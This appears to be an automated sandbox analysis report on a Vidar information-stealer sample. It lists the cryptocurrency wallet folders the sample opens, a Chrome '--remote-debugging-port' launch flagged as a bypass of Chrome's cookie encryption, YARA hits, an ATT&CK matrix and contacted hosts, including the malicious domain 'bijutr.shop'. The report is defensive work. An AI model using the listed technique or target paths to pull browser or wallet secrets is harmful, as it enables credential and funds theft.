Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Source: Billion.com	Binary or memory string: WIN_81
Source: Billion.com	Binary or memory string: WIN_XP
Source: Billion.com.2.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: Billion.com	Binary or memory string: WIN_XPe
Source: Billion.com	Binary or memory string: WIN_VISTA
Source: Billion.com	Binary or memory string: WIN_7
Source: Billion.com	Binary or memory string: WIN_8

Source: Yara match	File source: 0000000C.00000002.3329936932.0000000004391000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3329936932.000000000446D000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3327625585.0000000004090000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3326463584.0000000000EF2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Billion.com PID: 1396, type: MEMORYSTR

Remote Access Functionality

Attempt to bypass Chrome Application-Bound Encryption

Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com

Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9223 --profile-directory="Default"

Yara detected Vidar stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: 12.2.Billion.com.4390000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000C.00000002.3329936932.0000000004391000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2541281715.0000000000FCB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2540896451.0000000000F91000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2540939282.0000000000F1F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3327789976.0000000004110000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2541052285.0000000004391000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3327625585.0000000004090000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.3326463584.0000000000EF2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Billion.com PID: 1396, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_001B2263 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		12_2_001B2263
Source: C:\Users\user\AppData\Local\Temp\680662\Billion.com	Code function: 12_2_001B1C61 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,		12_2_001B1C61

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	2 Valid Accounts	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	Logon Script (Windows)	2 Valid Accounts	2 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	21 Input Capture	1 Remote Access Software	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	21 Access Token Manipulation	1 DLL Side-Loading	NTDS	27 System Information Discovery	Distributed Component Object Model	3 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	112 Process Injection	111 Masquerading	LSA Secrets	1 Query Registry	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Valid Accounts	Cached Domain Credentials	221 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Virtualization/Sandbox Evasion	DCSync	11 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	4 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	112 Process Injection	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
PodcastsTries.exe	11%	ReversingLabs

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\680662\Billion.com	0%	ReversingLabs

Source	Detection	Scanner	Label
https://publickeyservice.gcp.privacysandboxservices.com	0%	Avira URL Cloud	safe
http://anglebug.com/35867	0%	Avira URL Cloud	safe
http://anglebug.com/6876F	0%	Avira URL Cloud	safe
http://anglebug.com/8229I	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bijutr.shop	188.245.216.205	true	true	unknown
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
t.me	149.154.167.99	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
sb.scorecardresearch.com	18.161.69.30	true	false	high
www.google.com	142.250.181.68	true	false	high
googlehosted.l.googleusercontent.com	142.250.181.65	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high
NsxXzupCMoDsL.NsxXzupCMoDsL	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1735064921021&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1735064920167&w=0&anoncknm=app_anon&NoResponseBody=true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	Billion.com, 0000000C.00000002.3328091669.000000000437A000.00000004.00000800.00020000.00000000.sdmp, Billion.com, 0000000C.00000002.3331378130.0000000005F0B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812775099.0000278000C5C000.00000004.00000800.00020000.00000000.sdmp, Web Data.27.dr, 16PP89.12.dr, 58YU37.12.dr	false		high
https://mail.google.com/mail/?usp=installed_webapp	chrome.exe, 00000012.00000002.2810820713.00002780006FD000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2722834070.000027800056C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810140682.000027800053B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	chrome.exe, 00000012.00000003.2785855672.0000278000C2C000.00000004.00000800.00020000.00000000.sdmp, Web Data.27.dr, 16PP89.12.dr, 58YU37.12.dr	false		high
https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing	chrome.exe, 00000012.00000002.2808511544.000027800009C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/oauth2/v2/tokeninfo	msedge.exe, 00000015.00000003.2865987835.000026600026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2974268617.000074F402484000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2974396044.000074F402488000.00000004.00000800.00020000.00000000.sdmp	false		high
https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b	chrome.exe, 00000012.00000002.2811153144.0000278000780000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/J	chrome.exe, 00000012.00000002.2810820713.00002780006FD000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2722834070.000027800056C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810140682.000027800053B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone	chrome.exe, 00000012.00000002.2810228742.0000278000544000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ntp.msn.com/_default	QuotaManager.27.dr	false		high
http://anglebug.com/4633	chrome.exe, 00000012.00000003.2733132889.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733047041.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732571748.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7382	chrome.exe, 00000012.00000003.2733132889.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733047041.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732571748.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/284462263	msedge.exe, 00000019.00000003.2975447168.000074F40257C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://deff.nelreports.net/api/report?cat=msn	2cc80dabc69f58b6_0.27.dr, Reporting and NEL.28.dr	false		high
http://crls.ssl.com/SSLcom-RootCA-EV-RSA-4096-R2.crl0	PodcastsTries.exe	false		high
http://cert.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.cer0_	PodcastsTries.exe	false		high
https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly	chrome.exe, 00000012.00000002.2811350010.000027800080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2811255241.00002780007C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810055623.00002780004DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812065716.0000278000A50000.00000004.00000800.00020000.00000000.sdmp	false		high
https://publickeyservice.gcp.privacysandboxservices.com	chrome.exe, 00000012.00000003.2767384010.000027800140C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://polymer.github.io/AUTHORS.txt	chrome.exe, 00000012.00000003.2739165122.000027800113C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2737269759.0000278001020000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2737330665.0000278001030000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2809303910.00002780002FB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2739266755.000027800120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2738791399.0000278000F5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2738731573.0000278000F34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2739029225.0000278000310000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2737386416.0000278000F0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2809977476.00002780004C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2737360460.0000278001080000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2738761959.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2737419840.000027800104C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/	manifest.json.27.dr	false		high
https://docs.google.com/document/:	chrome.exe, 00000012.00000002.2810820713.00002780006FD000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2722834070.000027800056C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810140682.000027800053B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/Zh	chrome.exe, 00000012.00000003.2769525973.00002780014E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769597201.00002780014FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769573535.00002780014F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://publickeyservice.pa.aws.privacysandboxservices.com	chrome.exe, 00000012.00000003.2767384010.000027800140C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://photos.google.com/settings?referrer=CHROME_NTP	chrome.exe, 00000012.00000002.2811895050.00002780009E3000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812014272.0000278000A24000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7714	chrome.exe, 00000012.00000003.2733132889.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733047041.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732571748.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2874337334.0000266000300000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2975447168.000074F40257C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/35867	chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://unisolated.invalid/	chrome.exe, 00000012.00000002.2812036983.0000278000A34000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/tools/feedback/chrome/__submitage.Incoming.ThirdPartyToThirdParty.SameBucketX	chrome.exe, 00000012.00000002.2810055623.00002780004DC000.00000004.00000800.00020000.00000000.sdmp	false		high
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 00000012.00000003.2739165122.000027800113C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2739266755.000027800120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2739029225.0000278000310000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/tips/	chrome.exe, 00000012.00000002.2811380536.000027800081C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2808984785.00002780001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2813807994.0000278000D5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2811819315.0000278000984000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6876F	chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive.google.com/?lfhs=2	chrome.exe, 00000012.00000002.2810820713.00002780006FD000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2722834070.000027800056C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810140682.000027800053B000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6248	chrome.exe, 00000012.00000003.2733132889.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733047041.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732571748.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ogs.google.com/widget/callout?eom=1	chrome.exe, 00000012.00000003.2775654512.0000278001C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2788157585.0000278000DB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2774896977.0000278001CBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2776169900.0000278001CE0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/8229I	chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/6929	chrome.exe, 00000012.00000003.2733132889.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733047041.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732571748.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/Yn	chrome.exe, 00000012.00000003.2769525973.00002780014E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769597201.00002780014FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769573535.00002780014F8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5281	chrome.exe, 00000012.00000003.2733132889.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733047041.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732571748.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2874337334.0000266000300000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2975447168.000074F40257C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhones	chrome.exe, 00000012.00000002.2816170246.0000278000F8C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/?feature=ytca	chrome.exe, 00000012.00000002.2810820713.00002780006FD000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2722834070.000027800056C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810140682.000027800053B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icoue	chrome.exe, 00000012.00000003.2739003701.0000278000C2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812647167.0000278000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2759214939.0000278000C2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2776245551.0000278000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2735408123.0000278000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2785855672.0000278000C2C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/255411748	msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/u/0/create?usp=chrome_actions	chrome.exe, 00000012.00000002.2811350010.000027800080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2811255241.00002780007C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810055623.00002780004DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812065716.0000278000A50000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/oauth2/v4/token	msedge.exe, 00000015.00000003.2865987835.000026600026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2974268617.000074F402484000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2974396044.000074F402488000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7246	chrome.exe, 00000012.00000003.2733132889.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733047041.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732571748.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7369	chrome.exe, 00000012.00000003.2733132889.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733047041.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732571748.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2874337334.0000266000300000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2975447168.000074F40257C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7489	chrome.exe, 00000012.00000003.2733132889.0000278000898000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2733047041.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732571748.00002780003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812544045.0000278000BCC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2874337334.0000266000300000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2975447168.000074F40257C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/?q=	chrome.exe, 00000012.00000002.2811895050.00002780009C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812775099.0000278000C5C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore	chrome.exe, 00000012.00000003.2722102002.00002780004C0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000002.2882165201.000026600016C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000002.3000415537.000074F40238C000.00000004.00000800.00020000.00000000.sdmp	false		high
